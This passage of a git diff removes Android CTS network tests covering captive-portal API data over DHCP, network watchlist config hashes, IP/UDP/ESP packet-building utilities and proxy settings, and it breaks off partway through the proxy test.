-        capportUrl = Uri.parse("http://localhost:${httpServer.listeningPort}/testapi.html?par=val")
-    }
-
-    @After
-    fun tearDown() {
-        if (testSkipped) return
-        cm.unregisterNetworkCallback(ethRequestCb)
-
-        runAsShell(NETWORK_SETTINGS) { eth.setIncludeTestInterfaces(false) }
-
-        httpServer.stop()
-        handlerThread.threadHandler.post { reader.stop() }
-        handlerThread.quitSafely()
-
-        iface.fileDescriptor.close()
-    }
-
-    @Test
-    fun testCapportApiCallbacks() {
-        httpServer.addResponse(capportUrl, Status.OK, content = """
-                |{
-                |  "captive": true,
-                |  "user-portal-url": "$TEST_LOGIN_URL",
-                |  "venue-info-url": "$TEST_VENUE_INFO_URL"
-                |}
-            """.trimMargin())
-
-        // Handle the DHCP handshake that includes the capport API URL
-        val discover = reader.assertDhcpPacketReceived(
-                DhcpDiscoverPacket::class.java, TEST_TIMEOUT_MS, DHCP_MESSAGE_TYPE_DISCOVER)
-        reader.sendResponse(makeOfferPacket(discover.clientMac, discover.transactionId))
-
-        val request = reader.assertDhcpPacketReceived(
-                DhcpRequestPacket::class.java, TEST_TIMEOUT_MS, DHCP_MESSAGE_TYPE_REQUEST)
-        assertEquals(discover.transactionId, request.transactionId)
-        assertEquals(clientIpAddr, request.mRequestedIp)
-        reader.sendResponse(makeAckPacket(request.clientMac, request.transactionId))
-
-        // The first request received by the server should be for the portal API
-        assertTrue(httpServer.requestsRecord.poll(TEST_TIMEOUT_MS, 0)?.matches(capportUrl) ?: false,
-                "The device did not fetch captive portal API data within timeout")
-
-        // Expect network callbacks with capport info
-        val testCb = TestableNetworkCallback(TEST_TIMEOUT_MS)
-        // LinkProperties do not contain captive portal info if the callback is registered without
-        // NETWORK_SETTINGS permissions.
-        val lp = runAsShell(NETWORK_SETTINGS) {
-            cm.registerNetworkCallback(ethRequest, testCb)
-
-            try {
-                val ncCb = testCb.eventuallyExpect<CallbackEntry.CapabilitiesChanged> {
-                    it.caps.hasCapability(NET_CAPABILITY_CAPTIVE_PORTAL)
-                }
-                testCb.eventuallyExpect<CallbackEntry.LinkPropertiesChanged> {
-                    it.network == ncCb.network && it.lp.captivePortalData != null
-                }.lp
-            } finally {
-                cm.unregisterNetworkCallback(testCb)
-            }
-        }
-
-        assertEquals(capportUrl, lp.captivePortalApiUrl)
-        with(lp.captivePortalData) {
-            assertNotNull(this)
-            assertTrue(isCaptive)
-            assertEquals(Uri.parse(TEST_LOGIN_URL), userPortalUrl)
-            assertEquals(Uri.parse(TEST_VENUE_INFO_URL), venueInfoUrl)
-        }
-    }
-
-    private fun makeOfferPacket(clientMac: ByteArray, transactionId: Int) =
-            DhcpPacket.buildOfferPacket(DhcpPacket.ENCAP_L2, transactionId,
-                    false /* broadcast */, serverIpAddr, IPV4_ADDR_ANY /* relayIp */, clientIpAddr,
-                    clientMac, TEST_LEASE_TIMEOUT_SECS,
-                    getPrefixMaskAsInet4Address(TEST_PREFIX_LENGTH),
-                    getBroadcastAddress(clientIpAddr, TEST_PREFIX_LENGTH),
-                    listOf(serverIpAddr) /* gateways */, listOf(serverIpAddr) /* dnsServers */,
-                    serverIpAddr, TEST_DOMAIN_NAME, null /* hostname */, true /* metered */,
-                    TEST_MTU, capportUrl.toString())
-
-    private fun makeAckPacket(clientMac: ByteArray, transactionId: Int) =
-            DhcpPacket.buildAckPacket(DhcpPacket.ENCAP_L2, transactionId,
-                    false /* broadcast */, serverIpAddr, IPV4_ADDR_ANY /* relayIp */, clientIpAddr,
-                    clientIpAddr /* requestClientIp */, clientMac, TEST_LEASE_TIMEOUT_SECS,
-                    getPrefixMaskAsInet4Address(TEST_PREFIX_LENGTH),
-                    getBroadcastAddress(clientIpAddr, TEST_PREFIX_LENGTH),
-                    listOf(serverIpAddr) /* gateways */, listOf(serverIpAddr) /* dnsServers */,
-                    serverIpAddr, TEST_DOMAIN_NAME, null /* hostname */, true /* metered */,
-                    TEST_MTU, false /* rapidCommit */, capportUrl.toString())
-}
-
-private fun <T : DhcpPacket> TapPacketReader.assertDhcpPacketReceived(
-    packetType: Class<T>,
-    timeoutMs: Long,
-    type: Byte
-): T {
-    val packetBytes = poll(timeoutMs, DhcpClientPacketFilter()
-            .and(DhcpOptionFilter(DHCP_MESSAGE_TYPE, type)))
-            ?: fail("${packetType.simpleName} not received within timeout")
-    val packet = DhcpPacket.decodeFullPacket(packetBytes, packetBytes.size, DhcpPacket.ENCAP_L2)
-    assertTrue(packetType.isInstance(packet),
-            "Expected ${packetType.simpleName} but got ${packet.javaClass.simpleName}")
-    return packetType.cast(packet)
-}
-
-private fun <T> Context.assertHasService(manager: Class<T>): T {
-    return getSystemService(manager) ?: fail("Service $manager not found")
-}
diff --git a/tests/tests/net/src/android/net/cts/NetworkValidationTestUtil.kt b/tests/tests/net/src/android/net/cts/NetworkValidationTestUtil.kt
deleted file mode 100644
index f6fc75b..0000000
--- a/tests/tests/net/src/android/net/cts/NetworkValidationTestUtil.kt
+++ /dev/null
@@ -1,68 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.net.cts
-
-import android.Manifest
-import android.net.util.NetworkStackUtils
-import android.provider.DeviceConfig
-import com.android.testutils.runAsShell
-
-/**
- * Collection of utility methods for configuring network validation.
- */
-internal object NetworkValidationTestUtil {
-
-    /**
-     * Clear the test network validation URLs.
-     */
-    fun clearValidationTestUrlsDeviceConfig() {
-        setHttpsUrlDeviceConfig(null)
-        setHttpUrlDeviceConfig(null)
-        setUrlExpirationDeviceConfig(null)
-    }
-
-    /**
-     * Set the test validation HTTPS URL.
-     *
-     * @see NetworkStackUtils.TEST_CAPTIVE_PORTAL_HTTPS_URL
-     */
-    fun setHttpsUrlDeviceConfig(url: String?) =
-            setConfig(NetworkStackUtils.TEST_CAPTIVE_PORTAL_HTTPS_URL, url)
-
-    /**
-     * Set the test validation HTTP URL.
-     *
-     * @see NetworkStackUtils.TEST_CAPTIVE_PORTAL_HTTP_URL
-     */
-    fun setHttpUrlDeviceConfig(url: String?) =
-            setConfig(NetworkStackUtils.TEST_CAPTIVE_PORTAL_HTTP_URL, url)
-
-    /**
-     * Set the test validation URL expiration.
-     *
-     * @see NetworkStackUtils.TEST_URL_EXPIRATION_TIME
-     */
-    fun setUrlExpirationDeviceConfig(timestamp: Long?) =
-            setConfig(NetworkStackUtils.TEST_URL_EXPIRATION_TIME, timestamp?.toString())
-
-    private fun setConfig(configKey: String, value: String?) {
-        runAsShell(Manifest.permission.WRITE_DEVICE_CONFIG) {
-            DeviceConfig.setProperty(
-                    DeviceConfig.NAMESPACE_CONNECTIVITY, configKey, value, false /* makeDefault */)
-        }
-    }
-}
\ No newline at end of file
diff --git a/tests/tests/net/src/android/net/cts/NetworkWatchlistTest.java b/tests/tests/net/src/android/net/cts/NetworkWatchlistTest.java
deleted file mode 100644
index 81a9e30..0000000
--- a/tests/tests/net/src/android/net/cts/NetworkWatchlistTest.java
+++ /dev/null
@@ -1,163 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.net.cts;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import static org.junit.Assert.assertNotEquals;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assume.assumeTrue;
-
-import android.content.Context;
-import android.net.ConnectivityManager;
-import android.platform.test.annotations.AppModeFull;
-import android.os.FileUtils;
-import android.os.ParcelFileDescriptor;
-
-import androidx.test.InstrumentationRegistry;
-import androidx.test.filters.SmallTest;
-import androidx.test.runner.AndroidJUnit4;
-
-import com.android.compatibility.common.util.ApiLevelUtil;
-import com.android.compatibility.common.util.SystemUtil;
-
-import org.junit.After;
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import java.io.FileOutputStream;
-import java.io.IOException;
-import java.io.InputStream;
-import java.util.Formatter;
-
-@SmallTest
-@RunWith(AndroidJUnit4.class)
-public class NetworkWatchlistTest {
-
-    private static final String TEST_WATCHLIST_XML = "assets/network_watchlist_config_for_test.xml";
-    private static final String TEST_EMPTY_WATCHLIST_XML =
-            "assets/network_watchlist_config_empty_for_test.xml";
-    private static final String TMP_CONFIG_PATH =
-            "/data/local/tmp/network_watchlist_config_for_test.xml";
-    // Generated from sha256sum network_watchlist_config_for_test.xml
-    private static final String TEST_WATCHLIST_CONFIG_HASH =
-            "B5FC4636994180D54E1E912F78178AB1D8BD2BE71D90CA9F5BBC3284E4D04ED4";
-
-    private ConnectivityManager mConnectivityManager;
-    private boolean mHasFeature;
-
-    @Before
-    public void setUp() throws Exception {
-        mHasFeature = isAtLeastP();
-        mConnectivityManager =
-                (ConnectivityManager) InstrumentationRegistry.getContext().getSystemService(
-                        Context.CONNECTIVITY_SERVICE);
-        assumeTrue(mHasFeature);
-        // Set empty watchlist test config before testing
-        setWatchlistConfig(TEST_EMPTY_WATCHLIST_XML);
-        // Verify test watchlist config is not set before testing
-        byte[] result = mConnectivityManager.getNetworkWatchlistConfigHash();
-        assertNotNull("Watchlist config does not exist", result);
-        assertNotEquals(TEST_WATCHLIST_CONFIG_HASH, byteArrayToHexString(result));
-    }
-
-    @After
-    public void tearDown() throws Exception {
-        if (mHasFeature) {
-            // Set empty watchlist test config after testing
-            setWatchlistConfig(TEST_EMPTY_WATCHLIST_XML);
-        }
-    }
-
-    private void cleanup() throws IOException {
-        runCommand("rm " + TMP_CONFIG_PATH);
-    }
-
-    private boolean isAtLeastP() throws Exception {
-        // TODO: replace with ApiLevelUtil.isAtLeast(Build.VERSION_CODES.P) when the P API level
-        // constant is defined.
-        return ApiLevelUtil.getCodename().compareToIgnoreCase("P") >= 0;
-    }
-
-    /**
-     * Test if ConnectivityManager.getNetworkWatchlistConfigHash() correctly
-     * returns the hash of config we set.
-     */
-    @Test
-    @AppModeFull(reason = "Cannot access resource file in instant app mode")
-    public void testGetWatchlistConfigHash() throws Exception {
-        // Set watchlist config file for test
-        setWatchlistConfig(TEST_WATCHLIST_XML);
-        // Test if watchlist config hash value is correct
-        byte[] result = mConnectivityManager.getNetworkWatchlistConfigHash();
-        Assert.assertEquals(TEST_WATCHLIST_CONFIG_HASH, byteArrayToHexString(result));
-    }
-
-    private static String byteArrayToHexString(byte[] bytes) {
-        Formatter formatter = new Formatter();
-        for (byte b : bytes) {
-            formatter.format("%02X", b);
-        }
-        return formatter.toString();
-    }
-
-    private void saveResourceToFile(String res, String filePath) throws IOException {
-        // App can't access /data/local/tmp directly, so we pipe resource to file through stdin.
-        ParcelFileDescriptor stdin = pipeFromStdin(filePath);
-        pipeResourceToFileDescriptor(res, stdin);
-    }
-
-    /* Pipe stdin to a file in filePath. Returns PFD for stdin. */
-    private ParcelFileDescriptor pipeFromStdin(String filePath) {
-        // Not all devices have symlink for /dev/stdin, so use /proc/self/fd/0 directly.
-        // /dev/stdin maps to /proc/self/fd/0.
-        return runRwCommand("cp /proc/self/fd/0 " + filePath)[1];
-    }
-
-    private void pipeResourceToFileDescriptor(String res, ParcelFileDescriptor pfd)
-            throws IOException {
-        InputStream resStream = getClass().getClassLoader().getResourceAsStream(res);
-        FileOutputStream fdStream = new ParcelFileDescriptor.AutoCloseOutputStream(pfd);
-
-        FileUtils.copy(resStream, fdStream);
-
-        try {
-            fdStream.close();
-        } catch (IOException e) {
-        }
-    }
-
-    private static String runCommand(String command) throws IOException {
-        return SystemUtil.runShellCommand(InstrumentationRegistry.getInstrumentation(), command);
-    }
-
-    private static ParcelFileDescriptor[] runRwCommand(String command) {
-        return InstrumentationRegistry.getInstrumentation()
-                .getUiAutomation().executeShellCommandRw(command);
-    }
-
-    private void setWatchlistConfig(String watchlistConfigFile) throws Exception {
-        cleanup();
-        saveResourceToFile(watchlistConfigFile, TMP_CONFIG_PATH);
-        final String cmdResult = runCommand(
-                "cmd network_watchlist set-test-config " + TMP_CONFIG_PATH).trim();
-        assertThat(cmdResult).contains("Success");
-        cleanup();
-    }
-}
diff --git a/tests/tests/net/src/android/net/cts/PacketUtils.java b/tests/tests/net/src/android/net/cts/PacketUtils.java
deleted file mode 100644
index 0aedecb5..0000000
--- a/tests/tests/net/src/android/net/cts/PacketUtils.java
+++ /dev/null
@@ -1,474 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.net.cts;
-
-import static android.system.OsConstants.IPPROTO_IPV6;
-import static android.system.OsConstants.IPPROTO_UDP;
-
-import java.net.Inet4Address;
-import java.net.Inet6Address;
-import java.net.InetAddress;
-import java.nio.ByteBuffer;
-import java.nio.ShortBuffer;
-import java.security.GeneralSecurityException;
-import java.security.SecureRandom;
-import java.util.Arrays;
-
-import javax.crypto.Cipher;
-import javax.crypto.Mac;
-import javax.crypto.spec.IvParameterSpec;
-import javax.crypto.spec.SecretKeySpec;
-
-public class PacketUtils {
-    private static final String TAG = PacketUtils.class.getSimpleName();
-
-    private static final int DATA_BUFFER_LEN = 4096;
-
-    static final int IP4_HDRLEN = 20;
-    static final int IP6_HDRLEN = 40;
-    static final int UDP_HDRLEN = 8;
-    static final int TCP_HDRLEN = 20;
-    static final int TCP_HDRLEN_WITH_TIMESTAMP_OPT = TCP_HDRLEN + 12;
-
-    // Not defined in OsConstants
-    static final int IPPROTO_IPV4 = 4;
-    static final int IPPROTO_ESP = 50;
-
-    // Encryption parameters
-    static final int AES_GCM_IV_LEN = 8;
-    static final int AES_CBC_IV_LEN = 16;
-    static final int AES_GCM_BLK_SIZE = 4;
-    static final int AES_CBC_BLK_SIZE = 16;
-
-    // Encryption algorithms
-    static final String AES = "AES";
-    static final String AES_CBC = "AES/CBC/NoPadding";
-    static final String HMAC_SHA_256 = "HmacSHA256";
-
-    public interface Payload {
-        byte[] getPacketBytes(IpHeader header) throws Exception;
-
-        void addPacketBytes(IpHeader header, ByteBuffer resultBuffer) throws Exception;
-
-        short length();
-
-        int getProtocolId();
-    }
-
-    public abstract static class IpHeader {
-
-        public final byte proto;
-        public final InetAddress srcAddr;
-        public final InetAddress dstAddr;
-        public final Payload payload;
-
-        public IpHeader(int proto, InetAddress src, InetAddress dst, Payload payload) {
-            this.proto = (byte) proto;
-            this.srcAddr = src;
-            this.dstAddr = dst;
-            this.payload = payload;
-        }
-
-        public abstract byte[] getPacketBytes() throws Exception;
-
-        public abstract int getProtocolId();
-    }
-
-    public static class Ip4Header extends IpHeader {
-        private short checksum;
-
-        public Ip4Header(int proto, Inet4Address src, Inet4Address dst, Payload payload) {
-            super(proto, src, dst, payload);
-        }
-
-        public byte[] getPacketBytes() throws Exception {
-            ByteBuffer resultBuffer = buildHeader();
-            payload.addPacketBytes(this, resultBuffer);
-
-            return getByteArrayFromBuffer(resultBuffer);
-        }
-
-        public ByteBuffer buildHeader() {
-            ByteBuffer bb = ByteBuffer.allocate(DATA_BUFFER_LEN);
-
-            // Version, IHL
-            bb.put((byte) (0x45));
-
-            // DCSP, ECN
-            bb.put((byte) 0);
-
-            // Total Length
-            bb.putShort((short) (IP4_HDRLEN + payload.length()));
-
-            // Empty for Identification, Flags and Fragment Offset
-            bb.putShort((short) 0);
-            bb.put((byte) 0x40);
-            bb.put((byte) 0x00);
-
-            // TTL
-            bb.put((byte) 64);
-
-            // Protocol
-            bb.put(proto);
-
-            // Header Checksum
-            final int ipChecksumOffset = bb.position();
-            bb.putShort((short) 0);
-
-            // Src/Dst addresses
-            bb.put(srcAddr.getAddress());
-            bb.put(dstAddr.getAddress());
-
-            bb.putShort(ipChecksumOffset, calculateChecksum(bb));
-
-            return bb;
-        }
-
-        private short calculateChecksum(ByteBuffer bb) {
-            int checksum = 0;
-
-            // Calculate sum of 16-bit values, excluding checksum. IPv4 headers are always 32-bit
-            // aligned, so no special cases needed for unaligned values.
-            ShortBuffer shortBuffer = ByteBuffer.wrap(getByteArrayFromBuffer(bb)).asShortBuffer();
-            while (shortBuffer.hasRemaining()) {
-                short val = shortBuffer.get();
-
-                // Wrap as needed
-                checksum = addAndWrapForChecksum(checksum, val);
-            }
-
-            return onesComplement(checksum);
-        }
-
-        public int getProtocolId() {
-            return IPPROTO_IPV4;
-        }
-    }
-
-    public static class Ip6Header extends IpHeader {
-        public Ip6Header(int nextHeader, Inet6Address src, Inet6Address dst, Payload payload) {
-            super(nextHeader, src, dst, payload);
-        }
-
-        public byte[] getPacketBytes() throws Exception {
-            ByteBuffer bb = ByteBuffer.allocate(DATA_BUFFER_LEN);
-
-            // Version | Traffic Class (First 4 bits)
-            bb.put((byte) 0x60);
-
-            // Traffic class (Last 4 bits), Flow Label
-            bb.put((byte) 0);
-            bb.put((byte) 0);
-            bb.put((byte) 0);
-
-            // Payload Length
-            bb.putShort((short) payload.length());
-
-            // Next Header
-            bb.put(proto);
-
-            // Hop Limit
-            bb.put((byte) 64);
-
-            // Src/Dst addresses
-            bb.put(srcAddr.getAddress());
-            bb.put(dstAddr.getAddress());
-
-            // Payload
-            payload.addPacketBytes(this, bb);
-
-            return getByteArrayFromBuffer(bb);
-        }
-
-        public int getProtocolId() {
-            return IPPROTO_IPV6;
-        }
-    }
-
-    public static class BytePayload implements Payload {
-        public final byte[] payload;
-
-        public BytePayload(byte[] payload) {
-            this.payload = payload;
-        }
-
-        public int getProtocolId() {
-            return -1;
-        }
-
-        public byte[] getPacketBytes(IpHeader header) {
-            ByteBuffer bb = ByteBuffer.allocate(DATA_BUFFER_LEN);
-
-            addPacketBytes(header, bb);
-            return getByteArrayFromBuffer(bb);
-        }
-
-        public void addPacketBytes(IpHeader header, ByteBuffer resultBuffer) {
-            resultBuffer.put(payload);
-        }
-
-        public short length() {
-            return (short) payload.length;
-        }
-    }
-
-    public static class UdpHeader implements Payload {
-
-        public final short srcPort;
-        public final short dstPort;
-        public final Payload payload;
-
-        public UdpHeader(int srcPort, int dstPort, Payload payload) {
-            this.srcPort = (short) srcPort;
-            this.dstPort = (short) dstPort;
-            this.payload = payload;
-        }
-
-        public int getProtocolId() {
-            return IPPROTO_UDP;
-        }
-
-        public short length() {
-            return (short) (payload.length() + 8);
-        }
-
-        public byte[] getPacketBytes(IpHeader header) throws Exception {
-            ByteBuffer bb = ByteBuffer.allocate(DATA_BUFFER_LEN);
-
-            addPacketBytes(header, bb);
-            return getByteArrayFromBuffer(bb);
-        }
-
-        public void addPacketBytes(IpHeader header, ByteBuffer resultBuffer) throws Exception {
-            // Source, Destination port
-            resultBuffer.putShort(srcPort);
-            resultBuffer.putShort(dstPort);
-
-            // Payload Length
-            resultBuffer.putShort(length());
-
-            // Get payload bytes for checksum + payload
-            ByteBuffer payloadBuffer = ByteBuffer.allocate(DATA_BUFFER_LEN);
-            payload.addPacketBytes(header, payloadBuffer);
-            byte[] payloadBytes = getByteArrayFromBuffer(payloadBuffer);
-
-            // Checksum
-            resultBuffer.putShort(calculateChecksum(header, payloadBytes));
-
-            // Payload
-            resultBuffer.put(payloadBytes);
-        }
-
-        private short calculateChecksum(IpHeader header, byte[] payloadBytes) throws Exception {
-            int newChecksum = 0;
-            ShortBuffer srcBuffer = ByteBuffer.wrap(header.srcAddr.getAddress()).asShortBuffer();
-            ShortBuffer dstBuffer = ByteBuffer.wrap(header.dstAddr.getAddress()).asShortBuffer();
-
-            while (srcBuffer.hasRemaining() || dstBuffer.hasRemaining()) {
-                short val = srcBuffer.hasRemaining() ? srcBuffer.get() : dstBuffer.get();
-
-                // Wrap as needed
-                newChecksum = addAndWrapForChecksum(newChecksum, val);
-            }
-
-            // Add pseudo-header values. Proto is 0-padded, so just use the byte.
-            newChecksum = addAndWrapForChecksum(newChecksum, header.proto);
-            newChecksum = addAndWrapForChecksum(newChecksum, length());
-            newChecksum = addAndWrapForChecksum(newChecksum, srcPort);
-            newChecksum = addAndWrapForChecksum(newChecksum, dstPort);
-            newChecksum = addAndWrapForChecksum(newChecksum, length());
-
-            ShortBuffer payloadShortBuffer = ByteBuffer.wrap(payloadBytes).asShortBuffer();
-            while (payloadShortBuffer.hasRemaining()) {
-                newChecksum = addAndWrapForChecksum(newChecksum, payloadShortBuffer.get());
-            }
-            if (payload.length() % 2 != 0) {
-                newChecksum =
-                        addAndWrapForChecksum(
-                                newChecksum, (payloadBytes[payloadBytes.length - 1] << 8));
-            }
-
-            return onesComplement(newChecksum);
-        }
-    }
-
-    public static class EspHeader implements Payload {
-        public final int nextHeader;
-        public final int spi;
-        public final int seqNum;
-        public final byte[] key;
-        public final byte[] payload;
-
-        /**
-         * Generic constructor for ESP headers.
-         *
-         * <p>For Tunnel mode, payload will be a full IP header + attached payloads
-         *
-         * <p>For Transport mode, payload will be only the attached payloads, but with the checksum
-         * calculated using the pre-encryption IP header
-         */
-        public EspHeader(int nextHeader, int spi, int seqNum, byte[] key, byte[] payload) {
-            this.nextHeader = nextHeader;
-            this.spi = spi;
-            this.seqNum = seqNum;
-            this.key = key;
-            this.payload = payload;
-        }
-
-        public int getProtocolId() {
-            return IPPROTO_ESP;
-        }
-
-        public short length() {
-            // ALWAYS uses AES-CBC, HMAC-SHA256 (128b trunc len)
-            return (short)
-                    calculateEspPacketSize(payload.length, AES_CBC_IV_LEN, AES_CBC_BLK_SIZE, 128);
-        }
-
-        public byte[] getPacketBytes(IpHeader header) throws Exception {
-            ByteBuffer bb = ByteBuffer.allocate(DATA_BUFFER_LEN);
-
-            addPacketBytes(header, bb);
-            return getByteArrayFromBuffer(bb);
-        }
-
-        public void addPacketBytes(IpHeader header, ByteBuffer resultBuffer) throws Exception {
-            ByteBuffer espPayloadBuffer = ByteBuffer.allocate(DATA_BUFFER_LEN);
-            espPayloadBuffer.putInt(spi);
-            espPayloadBuffer.putInt(seqNum);
-            espPayloadBuffer.put(getCiphertext(key));
-
-            espPayloadBuffer.put(getIcv(getByteArrayFromBuffer(espPayloadBuffer)), 0, 16);
-            resultBuffer.put(getByteArrayFromBuffer(espPayloadBuffer));
-        }
-
-        private byte[] getIcv(byte[] authenticatedSection) throws GeneralSecurityException {
-            Mac sha256HMAC = Mac.getInstance(HMAC_SHA_256);
-            SecretKeySpec authKey = new SecretKeySpec(key, HMAC_SHA_256);
-            sha256HMAC.init(authKey);
-
-            return sha256HMAC.doFinal(authenticatedSection);
-        }
-
-        /**
-         * Encrypts and builds ciphertext block. Includes the IV, Padding and Next-Header blocks
-         *
-         * <p>The ciphertext does NOT include the SPI/Sequence numbers, or the ICV.
-         */
-        private byte[] getCiphertext(byte[] key) throws GeneralSecurityException {
-            int paddedLen = calculateEspEncryptedLength(payload.length, AES_CBC_BLK_SIZE);
-            ByteBuffer paddedPayload = ByteBuffer.allocate(paddedLen);
-            paddedPayload.put(payload);
-
-            // Add padding - consecutive integers from 0x01
-            int pad = 1;
-            while (paddedPayload.position() < paddedPayload.limit()) {
-                paddedPayload.put((byte) pad++);
-            }
-
-            paddedPayload.position(paddedPayload.limit() - 2);
-            paddedPayload.put((byte) (paddedLen - 2 - payload.length)); // Pad length
-            paddedPayload.put((byte) nextHeader);
-
-            // Generate Initialization Vector
-            byte[] iv = new byte[AES_CBC_IV_LEN];
-            new SecureRandom().nextBytes(iv);
-            IvParameterSpec ivParameterSpec = new IvParameterSpec(iv);
-            SecretKeySpec secretKeySpec = new SecretKeySpec(key, AES);
-
-            // Encrypt payload
-            Cipher cipher = Cipher.getInstance(AES_CBC);
-            cipher.init(Cipher.ENCRYPT_MODE, secretKeySpec, ivParameterSpec);
-            byte[] encrypted = cipher.doFinal(getByteArrayFromBuffer(paddedPayload));
-
-            // Build ciphertext
-            ByteBuffer cipherText = ByteBuffer.allocate(AES_CBC_IV_LEN + encrypted.length);
-            cipherText.put(iv);
-            cipherText.put(encrypted);
-
-            return getByteArrayFromBuffer(cipherText);
-        }
-    }
-
-    private static int addAndWrapForChecksum(int currentChecksum, int value) {
-        currentChecksum += value & 0x0000ffff;
-
-        // Wrap anything beyond the first 16 bits, and add to lower order bits
-        return (currentChecksum >>> 16) + (currentChecksum & 0x0000ffff);
-    }
-
-    private static short onesComplement(int val) {
-        val = (val >>> 16) + (val & 0xffff);
-
-        if (val == 0) return 0;
-        return (short) ((~val) & 0xffff);
-    }
-
-    public static int calculateEspPacketSize(
-            int payloadLen, int cryptIvLength, int cryptBlockSize, int authTruncLen) {
-        final int ESP_HDRLEN = 4 + 4; // SPI + Seq#
-        final int ICV_LEN = authTruncLen / 8; // Auth trailer; based on truncation length
-        payloadLen += cryptIvLength; // Initialization Vector
-
-        // Align to block size of encryption algorithm
-        payloadLen = calculateEspEncryptedLength(payloadLen, cryptBlockSize);
-        return payloadLen + ESP_HDRLEN + ICV_LEN;
-    }
-
-    private static int calculateEspEncryptedLength(int payloadLen, int cryptBlockSize) {
-        payloadLen += 2; // ESP trailer
-
-        // Align to block size of encryption algorithm
-        return payloadLen + calculateEspPadLen(payloadLen, cryptBlockSize);
-    }
-
-    private static int calculateEspPadLen(int payloadLen, int cryptBlockSize) {
-        return (cryptBlockSize - (payloadLen % cryptBlockSize)) % cryptBlockSize;
-    }
-
-    private static byte[] getByteArrayFromBuffer(ByteBuffer buffer) {
-        return Arrays.copyOfRange(buffer.array(), 0, buffer.position());
-    }
-
-    public static IpHeader getIpHeader(
-            int protocol, InetAddress src, InetAddress dst, Payload payload) {
-        if ((src instanceof Inet6Address) != (dst instanceof Inet6Address)) {
-            throw new IllegalArgumentException("Invalid src/dst address combination");
-        }
-
-        if (src instanceof Inet6Address) {
-            return new Ip6Header(protocol, (Inet6Address) src, (Inet6Address) dst, payload);
-        } else {
-            return new Ip4Header(protocol, (Inet4Address) src, (Inet4Address) dst, payload);
-        }
-    }
-
-    /*
-     * Debug printing
-     */
-    private static final char[] hexArray = "0123456789ABCDEF".toCharArray();
-
-    public static String bytesToHex(byte[] bytes) {
-        StringBuilder sb = new StringBuilder();
-        for (byte b : bytes) {
-            sb.append(hexArray[b >>> 4]);
-            sb.append(hexArray[b & 0x0F]);
-            sb.append(' ');
-        }
-        return sb.toString();
-    }
-}
diff --git a/tests/tests/net/src/android/net/cts/ProxyInfoTest.java b/tests/tests/net/src/android/net/cts/ProxyInfoTest.java
deleted file mode 100644
index 1c5624c..0000000
--- a/tests/tests/net/src/android/net/cts/ProxyInfoTest.java
+++ /dev/null
@@ -1,135 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.net.cts;
-
-import static org.junit.Assert.assertArrayEquals;
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertNull;
-import static org.junit.Assert.assertTrue;
-
-import android.net.ProxyInfo;
-import android.net.Uri;
-import android.os.Build;
-
-import androidx.test.runner.AndroidJUnit4;
-
-import com.android.testutils.DevSdkIgnoreRule;
-import com.android.testutils.DevSdkIgnoreRule.IgnoreUpTo;
-
-import org.junit.Rule;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import java.util.ArrayList;
-import java.util.List;
-import java.util.Locale;
-
-@RunWith(AndroidJUnit4.class)
-public final class ProxyInfoTest {
-    private static final String TEST_HOST = "test.example.com";
-    private static final int TEST_PORT = 5566;
-    private static final Uri TEST_URI = Uri.parse("https://test.example.com");
-    // This matches android.net.ProxyInfo#LOCAL_EXCL_LIST
-    private static final String LOCAL_EXCL_LIST = "";
-    // This matches android.net.ProxyInfo#LOCAL_HOST
-    private static final String LOCAL_HOST = "localhost";
-    // This matches android.net.ProxyInfo#LOCAL_PORT
-    private static final int LOCAL_PORT = -1;
-
-    @Rule
-    public final DevSdkIgnoreRule ignoreRule = new DevSdkIgnoreRule();
-
-    @Test
-    public void testConstructor() {
-        final ProxyInfo proxy = new ProxyInfo((ProxyInfo) null);
-        checkEmpty(proxy);
-
-        assertEquals(proxy, new ProxyInfo(proxy));
-    }
-
-    @Test
-    public void testBuildDirectProxy() {
-        final ProxyInfo proxy1 = ProxyInfo.buildDirectProxy(TEST_HOST, TEST_PORT);
-
-        assertEquals(TEST_HOST, proxy1.getHost());
-        assertEquals(TEST_PORT, proxy1.getPort());
-        assertArrayEquals(new String[0], proxy1.getExclusionList());
-        assertEquals(Uri.EMPTY, proxy1.getPacFileUrl());
-
-        final List<String> exclList = new ArrayList<>();
-        exclList.add("localhost");
